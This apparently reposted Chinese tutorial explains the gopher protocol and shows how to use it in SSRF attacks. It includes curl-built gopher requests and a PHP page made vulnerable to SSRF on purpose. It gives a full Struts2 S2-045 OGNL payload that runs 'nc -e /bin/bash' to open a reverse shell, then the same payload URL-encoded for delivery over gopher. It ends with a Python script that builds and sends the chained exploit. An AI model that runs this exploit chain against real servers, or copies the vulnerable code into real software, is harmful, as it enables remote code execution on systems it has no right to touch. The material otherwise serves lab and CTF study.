如果需要大佬写好的脚本,可以直接去github上面搜

参考文章:https://zhuanlan.zhihu.com/p/112055947

https://www.cnblogs.com/Konmu/p/12984891.html

https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ

1、什么是gopher协议?
2、如何使用gopher协议反弹shell?
3、在SSRF中如何使用gopher协议反弹shell?

Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

gopher协议

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

想了想,这不和http差不多嘛。。。。。。打比赛的时候可以代替HTTP;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。

语法格式gopher协议格式:gopher://IP:port/_{TCP/IP数据流}    例如:发送数据abc到192.168.0.119:3333地址  就是 margine:~ margin$ curl gopher://192.168.0.119:333/_abcd  

     URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流   注意:不要忘记下划线 "___"

· gopher的默认端口是70

· 如果发起post请求,回车换行需要使用%0d%0a,如果存在多个参数,参数之间的&也需要进行URL编码

注意:%0d%0a是\r\n的URL编码。

使用Gopher发送请求:

  • Gopher发送请求:

gopher协议格式:gopher://IP:port/_{TCP/IP数据流}

  • Gopher发送GET请求

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议

准备测试用的PHP代码如下:

  1. <?php
    echo "Hello"." ".$_GET['param']."\n"
    ?>

一个GET型的HTTP包,如下:

  1. curl gopher://192.168.109.166:80/_GET /get.php?param=Konmu HTTP/1.1
    Host:192.168.109.166%0d%0a

这里必须对HTTP头中的部分内容进行编码

URL编码后为:

  1. curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a
    对比上面的可以看到,
    被转换成了 %3f
    换行被转换成了 %0d%0a
    空格 被转换成了 %0d

在转换为URL编码时候有这么几个需要注意的地方:

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

此外自己本地测试时要注意将防火墙关掉!!!

  • Gopher发送POST请求

POSTGET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数

如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

发送POST请求前,先看下POST数据包的格式

  1. POST /ssrf/base/post.php HTTP/1.1
  2. host:192.168.0.109
  3. Content-Type:application/x-www-form-urlencoded
  4. Content-Length:11
  5. name=Margin

将上面的POST数据包进行URL编码并改为gopher协议

  1. curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A

注意,这是一整行,复制粘贴的时候不能断开。

post.php的代码为

  1. <?php
  2. echo "Hello ".$_POST["name"]."\n"
  3. ?>

使用curl发起gopher的POST请求后,结果为:

OK,那我们现在就介绍完了gopher协议的GET和POST请求



Gopher在SSRF中的利用 —— 使用Gopher协议反弹shell

1.struts2-045漏洞 可用 Gopher协议弹shell ,详细文章在 分类 -> web渗透入门阶段学习 里

说个题外话,struts2-045漏洞可以直接修改 content-type 内容直接利用,没必要非得用 Gopher 协议,当然,这里是借助struts2 -045漏洞 为了展示Gopher 在SSRF 中 getshell 的功能。

1.我们先准备了一个带有ssrf漏洞的页面,代码如下:

  1. <?php
  2. $url = $_GET['url'];
  3. $curlobj = curl_init($url);
  4. echo curl_exec($curlobj);
  5. ?>

这里需要注意的是,你的PHP版本必须大于等于5.3,并且在php.ini文件中开启了extension=php_curl.dll
2. 我在kali开启了一个监听nc -lp 6666
然后在浏览器中访问:

  1. http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc

可以看到nc接收到了消息,没有问题。

  1. >nc -lp 6666
  2. abc

看了大佬的渗透过程,当时感觉,有必要这么复杂么,直接写shell不行么?(因为昨天刚复现并且写完SSRF + redis 写shell。。。)但是仔细想想,咋直接写?写到哪里???

这个STRUTS2-045漏洞和redis 写 shell 的原理不一样,这个直接构造HTTP头就可以执行命令,所以不需要写shell这类的。

关于struts2-045漏洞,比较出名的漏洞,影响很大,网上有很多很多poc,直接修改content-type内容即可,你要是问我为啥内容是这个,我也不会。。。

GET /S2-045/ HTTP/1.1Host: 192.168.0.119Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

我们将其变为gopher所能使用的请求

curl gopher://192.168.0.119:8080/_GET%20/S2-045/%20HTTP/1.1%0d%0aHost:192.168.0.119%0d%0aContent-Type:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%30%2e%31%31%39%20%36%36%36%36%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a

一定要注意最后加上%0d%0a,以及很多URL编码工具将会回车换行转码为%0a,一定要自己替换为%0a%0d

在试错的过程中发现:URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码

发送之后就可以反弹shell

最后附上编码脚本(python2.7):

  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3. import urllib2,urllib
  4.  
  5. url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
  6. header = """gopher://192.168.0.119:8080/_GET /S2-045/ HTTP/1.1
  7. Host:192.168.0.119
  8. Content-Type:"""
  9. cmd = "nc -e /bin/bash 192.168.0.109 6666"
  10. content_type = """自己填写(不要有换行)"""
  11. header_encoder = ""
  12. content_type_encoder = ""
  13. content_type_encoder_2 = ""
  14. url_char = [" "]
  15. nr = "\r\n"
  16.  
  17. # 编码请求头
  18. for single_char in header:
  19. if single_char in url_char:
  20. header_encoder += urllib.quote(urllib.quote(single_char,'utf-8'),'utf-8')
  21. else:
  22. header_encoder += single_char
  23.  
  24. header_encoder = header_encoder.replace("\n",urllib.quote(urllib.quote(nr,'utf-8'),'utf-8'))
  25.  
  26. # 编码content-type,第一次编码
  27. for single_char in content_type:
  28. # 先转为ASCII,在转十六进制即可变为URL编码
  29. content_type_encoder += str(hex(ord(single_char)))
  30. content_type_encoder = content_type_encoder.replace("0x","%") + urllib.quote(nr,'utf-8')
  31. # 编码content-type,第二次编码
  32. for single_char in content_type_encoder:
  33. # 先转为ASCII,在转十六进制即可变为URL编码
  34. content_type_encoder_2 += str(hex(ord(single_char)))
  35. content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
  36. exp = url + header_encoder + content_type_encoder_2
  37. print exp
  38. request = urllib2.Request(exp)
  39. response = urllib2.urlopen(request).read()
  40. print response

Gopher协议目前应用的很少很少,除了在打CTF比赛比如说禁用了HTTP协议。。。可能会用到,其他很少方面会用到这个协议

这里给大家推荐一个脚本 github 地址:https://github.com/tarunkant/Gopherus , 脚本可以生成利用连接,省去了我们很多事,从下图可以看见,它支持了我们常见的一些应用。

除此之外,也可以在 github 上搜索关键字 ssrf 来看一些大家常用的脚本和利用方式

Gopher协议在SSRF漏洞中的深入研究的更多相关文章

  1. gopher协议在SSRF漏洞中的作用

    1.什么是gopher协议?2.如何使用gopher协议反弹shell?3.在SSRF中如何使用gopher协议反弹shell? 一.什么是gopher协议?定义:Gopher是Internet上一个 ...

  2. CTFHUB之gopher协议实现SSRF

    介绍 解题思路: 利用302协议(重定向)的跳转ssrf.可以访问与服务器相连的内网 ①什么是gopher协议 Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种 ...

  3. SSRF漏洞用到的其他协议(dict协议,file协议)

    0x00 引言 当SSRF打内网reids时,若gopher协议用不了,我们也可以用其他协议 0x01 dict协议一.定义:词典网络协议,在RFC 2009中进行描述.它的目标是超越Webster ...

  4. SSRF漏洞分析与利用

    转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 ...

  5. SSRF——漏洞利用(二)

    0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0 ...

  6. SSRF漏洞详解

    0.SSRF简介 SSRF全称为Server-side Request Forgery,即服务端请求伪造攻击,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外 ...

  7. CVE-2014-4210 SSRF漏洞

    Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 修复方式: 1.删除server/lib/uddiexplorer.w ...

  8. SSRF漏洞挖掘经验

    SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问 ...

  9. SSRF漏洞的挖掘经验

    本文转自:https://sobug.com/article/detail/11 SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造 ...

随机推荐

  1. locust使用小技巧(v0.13.5)

    Windows下载: pip install locustio==0.13.5; 以下基于locust的0.13.5,写文章时时2019年,没想到2020年就大变样了 locust是基于python的 ...

  2. nginx介绍及常用功能

    什么是nginx nginx跟Apache一样,是一个web服务器(网站服务器),通过HTTP协议提供各种网络服务. Apache:重量级的,不支持高并发的服务器.在Apache上运行数以万计的并发访 ...

  3. C语言新手入门

    include<stdio.h> int main() { //输入一个数 输出它的反序列 c int a,b=0; scanf("%d",&a);//输入一个 ...

  4. [Android systrace系列] systrace的信息从哪里来

    -------------------------------------------------------------- 这篇文章的小目标: 1. systrace是怎么抓出来的 2. 这些信息的 ...

  5. Springboot结合Jpa的外键使用

    当我们写项目的时候,总有些奇奇怪怪的理由,非让你连表查询,其实最好的就是什么都不连,数据库完全解耦 但我们还是要学习下Jpa怎么根据外键查询 (这里说下Jpa+springboot的感觉,刚开始就感觉 ...

  6. 使用Git,10件你可能需要“反悔”的事

    DevUI是一支兼具设计视角和工程视角的团队,服务于华为云DevCloud平台和华为内部数个中后台系统,服务于设计师和前端工程师.官方网站:devui.designNg组件库:ng-devui(欢迎S ...

  7. 如何破解QQ闪照

    1.如何下载 通过公主公众号 "全是软件" 然后输入 294 即可获得下载链接 https://qsrj.lanzous.com/iU4Hddnnmne 目前的闪照破解工具只能破解 ...

  8. 第3.6节 Python字符串基础知识

    一. 引言 前面第二章已经接单介绍了字符串,本来计划讲完列表解析和字典解析再来精讲字符串的内容,但发现要讲列表解析和字典解析需要介绍迭代器和生成器,这个概念比较复杂,老猿还需要复习和验证一下才能完全掌 ...

  9. 什么是Python生成器?与迭代器的关系是什么?

    生成器是一个特殊的迭代器,它保存的是算法,每次调用next()或send()就计算出下一个元素的值,直到计算出最后一个元素,没有更多的元素时,抛出StopIteration.生成器有两种类型,一种是生 ...

  10. Python中的列表解析和列表推导是一回事吗?

    列表解析和列表推导就是一个意思,只是从英文"list comprehension"翻译过来的不同翻译方法. 列表解析就是通过解析表达式从一个可迭代对象生成一个新的列表的Python ...